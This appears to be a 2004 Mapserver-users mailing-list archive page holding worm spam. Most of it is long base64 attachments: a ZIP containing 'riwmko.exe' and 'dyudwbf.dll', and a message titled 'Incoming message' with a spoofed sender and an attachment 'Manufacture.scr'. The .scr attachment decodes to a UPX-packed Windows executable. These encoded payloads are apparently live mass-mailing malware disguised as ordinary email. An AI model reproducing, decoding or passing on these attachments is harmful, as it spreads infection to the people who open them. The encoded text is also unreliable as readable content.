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 BgAAAAACAAIAcQAAAHJSAAAAAA== ----------pqhyernbefnpmqvsgcui-- From steve.lime at dnr.state.mn.us Sat Jun 12 13:42:24 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 12 Jun 2004 14:42:24 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------qdnpubvsweuwkdvqmlwk Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------qdnpubvsweuwkdvqmlwk Content-Type: application/octet-stream; name="Manufacture.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Manufacture.scr" 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 